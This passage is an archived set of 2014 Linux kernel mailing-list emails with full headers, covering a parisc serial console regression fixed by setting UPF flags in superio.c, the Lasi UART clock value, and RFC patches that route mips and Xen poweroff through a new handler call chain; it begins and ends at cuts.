+++ b/drivers/tty/serial/8250/8250_gsc.c
@@ -56,12 +56,12 @@ static int __init serial_init_chip(struct parisc_device *dev)
        /* 7.272727MHz on Lasi.  Assumed the same for Dino, Wax and Timi. */
        uart.port.uartclk       = (dev->id.sversion != 0xad) ?  /* XX */
                                        7272727 : 1843200;

which comes from the description of this chip which can be found in section 7.4 in this PDF file:
https://parisc.wiki.kernel.org/images-parisc/7/79/Lasi_ers.pdf (page "64 of 111" or 76):
7.4 Differences from NS16550A
The Lasi serial port is intended to function just like the real National NS16550A. This includes
behavior that often seems rather stupid. The National NS16550A was chosen over the WD16C552
because the National part came first, and the WD part is supposed to be compatible. There are a few
minor differences, however, between the NS16550A and this implementation.
Baud clock generation is an area of slight differences from the NS16550A. The baudrate reference
frequency is taken from the 40 MHz IO system clock. The frequency 7.2727 MHz is generated by
dividing 40 MHz by 5.5. 

So, probably the calculation of "port->uartclk / 16" is wrong for this chip?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.serial,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Aw: Re: serial console broken in v3.17-rc6 ?
Date: Wed, 01 Oct 2014 11:35:29 -0400
Lines: 120
Approved: news@gmane.org
Message-ID: <542C1F41.8090809@hurleysoftware.com>
References: <5421D3E3.6080805@gmx.de> <5421E166.7060206@hurleysoftware.com> <5423120E.8060204@gmx.de>, <542B0B98.1040407@hurleysoftware.com> <trinity-e77efb94-335b-4ae1-9311-beec43297b07-1412174761195@3capp-gmx-bs15>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412177742 32480 80.91.229.3 (1 Oct 2014 15:35:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Oct 2014 15:35:42 +0000 (UTC)
Cc: linux-serial@vger.kernel.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	linux-kernel@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-serial-owner@vger.kernel.org Wed Oct 01 17:35:34 2014
Return-path: <linux-serial-owner@vger.kernel.org>
Envelope-to: lnx-linux-serial@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-serial-owner@vger.kernel.org>)
	id 1XZLwD-0004k0-1c
	for lnx-linux-serial@plane.gmane.org; Wed, 01 Oct 2014 17:35:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751398AbaJAPfb (ORCPT <rfc822;lnx-linux-serial@m.gmane.org>);
	Wed, 1 Oct 2014 11:35:31 -0400
Original-Received: from mailout32.mail01.mtsvc.net ([216.70.64.70]:34446 "EHLO
	n23.mail01.mtsvc.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751330AbaJAPfa (ORCPT
	<rfc822;linux-serial@vger.kernel.org>);
	Wed, 1 Oct 2014 11:35:30 -0400
Original-Received: from h96-61-95-138.cntcnh.dsl.dynamic.tds.net ([96.61.95.138]:51125 helo=[192.168.1.139])
	by n23.mail01.mtsvc.net with esmtpsa (UNKNOWN:AES128-SHA:128)
	(Exim 4.72)
	(envelope-from <peter@hurleysoftware.com>)
	id 1XZLw9-0001TZ-Q5; Wed, 01 Oct 2014 11:35:30 -0400
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.1.2
In-Reply-To: <trinity-e77efb94-335b-4ae1-9311-beec43297b07-1412174761195@3capp-gmx-bs15>
X-Authenticated-User: 990527 peter@hurleysoftware.com
X-MT-ID: 8FA290C2A27252AACF65DBC4A42F3CE3735FB2A4
Original-Sender: linux-serial-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-serial.vger.kernel.org>
X-Mailing-List: linux-serial@vger.kernel.org
Xref: news.gmane.org gmane.linux.serial:16137 gmane.linux.ports.parisc:6057 gmane.linux.kernel:1799265
Archived-At: <http://permalink.gmane.org/gmane.linux.serial/16137>

On 10/01/2014 10:46 AM, Helge Deller wrote:
> Hi Peter,
> 
>>> Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
>>> serial8250: ttyS0 at I/O 0x3f8 (irq = 3, base_baud = 115200) is a 16550A
>>>
>>> The source code for this driver is in drivers/parisc/superio.c,
>>> see e.g. function superio_serial_init().
>>> Maybe something is missing in here which was done to the other serial drivers?
>>
>> Ok. So still the 8250 driver.
>>
>> What are the remote line settings? (speed/parity/bits/stop)
> 
> 9600,8,N,1
> 
>> See if reverting commit ae84db9661cafc63d179e1d985a2c5b841ff0ac4,
>> 'serial: core: Preserve termios c_cflag for console resume', has some effect.
>> I'm not seeing how this commit would affect your setup, but if it does, I can
>> provide a debug patch to find out what userspace is doing.
> 
> No, this did not fixed it.
> 
>> If not, then I think you'll need to bisect drivers/tty/serial. I tried to
>> analyze if the new generic earlycon was somehow triggering but I got lost
>> multiple times in the static analysis.
>>
>> BTW, since superio_serial_init() assigns the port type as PORT_16550A,
>> superio_serial_init() should be doing:
>>
>> diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
>> index a042d06..36b3adb 100644
>> --- a/drivers/parisc/superio.c
>> +++ b/drivers/parisc/superio.c
>> @@ -395,7 +395,7 @@ static void __init superio_serial_init(void)
>>  	serial_port.iotype	= UPIO_PORT;
>>  	serial_port.type	= PORT_16550A;
>>  	serial_port.uartclk	= 115200*16;
>> -	serial_port.fifosize	= 16;
>> +	serial_port.flags	= UPF_FIXED_TYPE;
>>  
>>  	/* serial port #1 */
>>  	serial_port.iobase	= sio_dev.sp1_base;
>>
>> to properly initialize the 8250 port definition. Right now, the fifosize
>> has no effect because the fifo capabilities is not on.
>>
>> Also, consider adding
>>
>> -	serial_port.flags	= UPF_FIXED_TYPE;
>> +	serial_port.flags	= UPF_FIXED_PORT | UPF_FIXED_TYPE;
>>
>> to disable reprogramming the irq and ioport from setserial.
> 
> That was partly solving the problem!
> By looking at the other drivers, I found that they set the UPF_BOOT_AUTOCONF flag too.
> So, changing it to 
> -       serial_port.fifosize    = 16;
> +       serial_port.flags       = UPF_FIXED_PORT | UPF_FIXED_TYPE | UPF_BOOT_AUTOCONF;
> solved the problem :-)
> 
> Might this be the right fix? If yes, I can push it upstream.

Yes, that's one possible correct fix.

I didn't notice that the superio probe code did not claim the io region for
the serial ports; that's what UPF_BOOT_AUTOCONF does for you.

The regression must be from a change on the parisc arch regarding how/whether io
ports are mapped into the vm.


> All those flags like UPF_BOOT_AUTOCONF seem to be poorly documented btw.

Yeah, you're right about that. It's part of the legacy of one of the oldest
subsystems that's changed and grown by fits and starts; not all of the parts
are completely understood by one person.


>>> Interestingly the *same* kernel don't show this problem on another (older) parisc
>>> machine, but this older machine uses another serial driver:
>>> This (working) machine is using the drivers/tty/serial/8250/8250_gsc.c driver.
>>> Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
>>> 2:0:4: ttyS0 at MMIO 0xf0105800 (irq = 18, base_baud = 454545) is a 16550A
>>> 5:0:2: ttyS1 at MMIO 0xf0202800 (irq = 25, base_baud = 454545) is a 16550A
>>
>> PS - Unrelated note. This base_baud is junk ---------------^
> 
> Is it?
> The base_baud value is calculated as "port->uartclk / 16" in drivers/tty/serial/serial_core.c.
> 
> Looking at the machine specific driver code we have:
> +++ b/drivers/tty/serial/8250/8250_gsc.c
> @@ -56,12 +56,12 @@ static int __init serial_init_chip(struct parisc_device *dev)
>         /* 7.272727MHz on Lasi.  Assumed the same for Dino, Wax and Timi. */
>         uart.port.uartclk       = (dev->id.sversion != 0xad) ?  /* XX */
>                                         7272727 : 1843200;
> 
> which comes from the description of this chip which can be found in section 7.4 in this PDF file:
> https://parisc.wiki.kernel.org/images-parisc/7/79/Lasi_ers.pdf (page "64 of 111" or 76):
> 7.4 Differences from NS16550A
> The Lasi serial port is intended to function just like the real National NS16550A. This includes
> behavior that often seems rather stupid. The National NS16550A was chosen over the WD16C552
> because the National part came first, and the WD part is supposed to be compatible. There are a few
> minor differences, however, between the NS16550A and this implementation.
> Baud clock generation is an area of slight differences from the NS16550A. The baudrate reference
> frequency is taken from the 40 MHz IO system clock. The frequency 7.2727 MHz is generated by
> dividing 40 MHz by 5.5. 
> 
> So, probably the calculation of "port->uartclk / 16" is wrong for this chip?

Wow. No, I was wrong; it's the correct base_baud. I hadn't expected that uartclk value :)

Regards,
Peter Hurley
--
To unsubscribe from this list: send the line "unsubscribe linux-serial" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.arm.kernel,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: Re: [RFC PATCH 10/16] mips: support poweroff through poweroff
 handler call chain
Date: Wed, 1 Oct 2014 09:26:17 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20141001162617.GC11708@roeck-us.net>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
 <1412100056-15517-11-git-send-email-linux@roeck-us.net>
 <20141001133238.GJ19854@linux-mips.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412180793 13921 80.91.229.3 (1 Oct 2014 16:26:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Oct 2014 16:26:33 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org
To: Ralf Baechle <ralf@linux-mips.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Oct 01 18:26:25 2014
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1XZMjR-0002aj-2k
	for glpi-linux-ia64-2@plane.gmane.org; Wed, 01 Oct 2014 18:26:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751761AbaJAQ0X (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Wed, 1 Oct 2014 12:26:23 -0400
Original-Received: from mail-pd0-f178.google.com ([209.85.192.178]:52193 "EHLO
	mail-pd0-f178.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751737AbaJAQ0W (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Wed, 1 Oct 2014 12:26:22 -0400
Original-Received: by mail-pd0-f178.google.com with SMTP id y10so477765pdj.37
        for <multiple recipients>; Wed, 01 Oct 2014 09:26:21 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=tPEnHBPazCc3zAnABQdGRhzohUYK1mX+HYSurtSTEmM=;
        b=00XaV7S4cEpu/mffma/YKAtFLwrCgH0HW1e6rKn7cRU80ThKzhV17MWGqX63raJGe7
         IyAti8hu/vre2o0FTymf61G2YeRP0DOM1AGAhf30BN3VBpBI2ow8CTJLM//YGlxEymmm
         /A9X+hB0nI4LYCgYnmFmuvRa1T1vFkVtTwFibPKJsHBj7FG3e1zbQ0WW/Bbp2x/RYcq7
         PBD2yB/mrMRcX7vEN9BZO+ESdEo0gFQ43cOh+uN8fLF7X3iaFYPf2CVH0Dzo+7VrhZSW
         ANKU8Mc856NaJ6zJmU4jVrNB48odZQdyk/KhE/Q9sAVKWgV7ERKBdJmXZ3CkdWd6Yz+R
         wqQQ==
X-Received: by 10.66.145.167 with SMTP id sv7mr79020673pab.5.1412180781798;
        Wed, 01 Oct 2014 09:26:21 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by mx.google.com with ESMTPSA id qf3sm1332276pbc.96.2014.10.01.09.26.20
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Wed, 01 Oct 2014 09:26:21 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20141001133238.GJ19854@linux-mips.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:24444 gmane.linux.kernel:1799304 gmane.linux.power-management.general:50438 gmane.linux.ports.arm.kernel:361542 gmane.linux.kernel.metag:285 gmane.linux.ports.mips.general:44075 gmane.linux.ports.parisc:6058 gmane.linux.ports.sh.devel:39656
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/24444>

On Wed, Oct 01, 2014 at 03:32:39PM +0200, Ralf Baechle wrote:
> On Tue, Sep 30, 2014 at 11:00:50AM -0700, Guenter Roeck wrote:
> 
> > The kernel core now supports a poweroff handler call chain
> > to remove power from the system. Call it if pm_power_off
> > is set to NULL.
> > 
> > Cc: Ralf Baechle <ralf@linux-mips.org>
> > Signed-off-by: Guenter Roeck <linux@roeck-us.net>
> > ---
> >  arch/mips/kernel/reset.c | 2 ++
> >  1 file changed, 2 insertions(+)
> > 
> > diff --git a/arch/mips/kernel/reset.c b/arch/mips/kernel/reset.c
> > index 07fc524..c3391d7 100644
> > --- a/arch/mips/kernel/reset.c
> > +++ b/arch/mips/kernel/reset.c
> > @@ -41,4 +41,6 @@ void machine_power_off(void)
> >  {
> >  	if (pm_power_off)
> >  		pm_power_off();
> > +	else
> > +		do_kernel_poweroff();
> 
> I'm happy with this as long as in a later version pm_power_off indeed
> goes away.
> 
Yes, that would be the ultimate goal. Hope we can get there.

Guenter
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix serial console for machines with serial port on
 superio chip
Date: Wed, 1 Oct 2014 22:11:01 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <20141001201101.GA18512@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412194279 7062 80.91.229.3 (1 Oct 2014 20:11:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Oct 2014 20:11:19 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Peter Hurley <peter@hurleysoftware.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 01 22:11:09 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XZQEu-0008Nx-MN
	for glpp-linux-parisc@plane.gmane.org; Wed, 01 Oct 2014 22:11:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751208AbaJAULI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Oct 2014 16:11:08 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:59251 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750901AbaJAULH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Oct 2014 16:11:07 -0400
Original-Received: from p100.box ([84.173.25.4]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0M8leW-1XNLQS1OBg-00CDlY; Wed, 01 Oct 2014 22:11:04
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:o7MC7NL3jYXYMxyj3nm1+EQQvQmTAx1z3/mZSnlnlQbdqOgSXST
 xKCxAWZ+tBZ58kQPVqEuTGyaHHuIYY//hyWERpzCSZ7jeJPkkFm8/Cq19miaXiwvcOruqiD
 9bXr8/4IiMOcprffcuQYtn7z3PVkLDn4z6f/AAh8HQReu4FzZjztwrcrn74OmQ03jnZkSM9
 PnxIFqHS6P7XalAp/KDWA==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6059
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6059>

Fix the serial console on machines where the serial port is located on
the SuperIO chip.

Signed-off-by: Helge Deller <deller@gmx.de>
CC: Peter Hurley <peter@hurleysoftware.com>
diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
index a042d06..8be2096 100644
--- a/drivers/parisc/superio.c
+++ b/drivers/parisc/superio.c
@@ -395,7 +395,8 @@ static void __init superio_serial_init(void)
 	serial_port.iotype	= UPIO_PORT;
 	serial_port.type	= PORT_16550A;
 	serial_port.uartclk	= 115200*16;
-	serial_port.fifosize	= 16;
+	serial_port.flags	= UPF_FIXED_PORT | UPF_FIXED_TYPE |
+				  UPF_BOOT_AUTOCONF;
 
 	/* serial port #1 */
 	serial_port.iobase	= sio_dev.sp1_base;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Vrabel <david.vrabel-Sxgqhf6Nn4DQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel,gmane.linux.ports.arm.kernel
Subject: Re: [Xen-devel] [RFC PATCH 14/16] x86/xen: support poweroff through
 poweroff handler call chain
Date: Thu, 2 Oct 2014 10:45:40 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <542D1EC4.10100@citrix.com>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net> <1412100056-15517-15-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412243157 6988 80.91.229.3 (2 Oct 2014 09:45:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Oct 2014 09:45:57 +0000 (UTC)
Cc: <linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>, <linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	<linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org>, <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	<linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
	Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>,
	"H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>, <xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org>,
	Boris Ostrovsky <boris.ostrovsky-QHcLZuEGTsvQT0dZR+AlfA@public.gmane.org>,
	<linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	<linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>
To: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>, <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Oct 02 11:45:48 2014
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XZcxF-0002HE-Jz
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Thu, 02 Oct 2014 11:45:45 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1751159AbaJBJpp (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Thu, 2 Oct 2014 05:45:45 -0400
Original-Received: from smtp02.citrix.com ([66.165.176.63]:33031 "EHLO
	SMTP02.CITRIX.COM" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750919AbaJBJpo (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Thu, 2 Oct 2014 05:45:44 -0400
X-IronPort-AV: E=Sophos;i="5.04,638,1406592000"; 
   d="scan'208";a="178466624"
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Icedove/24.5.0
In-Reply-To: <1412100056-15517-15-git-send-email-linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
X-DLP: MIA1
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:286 gmane.linux.kernel:1799738 gmane.linux.ports.mips.general:44077 gmane.linux.ports.ia64:24445 gmane.linux.ports.parisc:6060 gmane.linux.power-management.general:50464 gmane.linux.ports.sh.devel:39675 gmane.linux.ports.arm.kernel:361663
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/286>

On 30/09/14 19:00, Guenter Roeck wrote:
> The kernel core now supports a poweroff handler call chain
> to remove power from the system. Call it if pm_power_off
> is set to NULL.
> 
> Cc: Konrad Rzeszutek Wilk <konrad.wilk-QHcLZuEGTsvQT0dZR+AlfA@public.gmane.org>
> Cc: Boris Ostrovsky <boris.ostrovsky-QHcLZuEGTsvQT0dZR+AlfA@public.gmane.org>
> Cc: Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>
> Cc: Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
> Cc: H. Peter Anvin <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>
> Signed-off-by: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
> ---
>  arch/x86/xen/enlighten.c | 2 ++
>  1 file changed, 2 insertions(+)
> 
> diff --git a/arch/x86/xen/enlighten.c b/arch/x86/xen/enlighten.c
> index c0cb11f..645d00f 100644
> --- a/arch/x86/xen/enlighten.c
> +++ b/arch/x86/xen/enlighten.c
> @@ -1322,6 +1322,8 @@ static void xen_machine_power_off(void)
>  {
>  	if (pm_power_off)
>  		pm_power_off();
> +	else
> +		do_kernel_poweroff();

Why isn't this if (pm_power_off) check in do_kernel_poweroff()?

That way when you finally remove pm_power_off you need only update one
place.  A quick skim of the other archs suggest this would work for them
too.

David
--
To unsubscribe from this list: send the line "unsubscribe linux-metag" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel,gmane.linux.ports.arm.kernel
Subject: Re: [Xen-devel] [RFC PATCH 14/16] x86/xen: support poweroff through
 poweroff handler call chain
Date: Thu, 02 Oct 2014 06:27:08 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <542D52AC.3040009@roeck-us.net>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net> <1412100056-15517-15-git-send-email-linux@roeck-us.net> <542D1EC4.10100@citrix.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412256474 21863 80.91.229.3 (2 Oct 2014 13:27:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Oct 2014 13:27:54 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
	Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>,
	"H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>, xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org,
	Boris Ostrovsky <boris.ostrovsky-QHcLZuEGTsvQT0dZR+AlfA@public.gmane.org>,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: David Vrabel <david.vrabel-Sxgqhf6Nn4DQT0dZR+AlfA@public.gmane.org>,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Oct 02 15:27:43 2014
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XZgPy-0006UM-5e
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Thu, 02 Oct 2014 15:27:38 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1751429AbaJBN1h (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Thu, 2 Oct 2014 09:27:37 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:43806 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751344AbaJBN1h (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Thu, 2 Oct 2014 09:27:37 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=Content-Transfer-Encoding:Content-Type:In-Reply-To:References:Subject:CC:To:MIME-Version:From:Date:Message-ID; bh=WoAA1w37VG1xh32TRD3BqYmoHXkZpHmAqNmf2NpTa7k=;
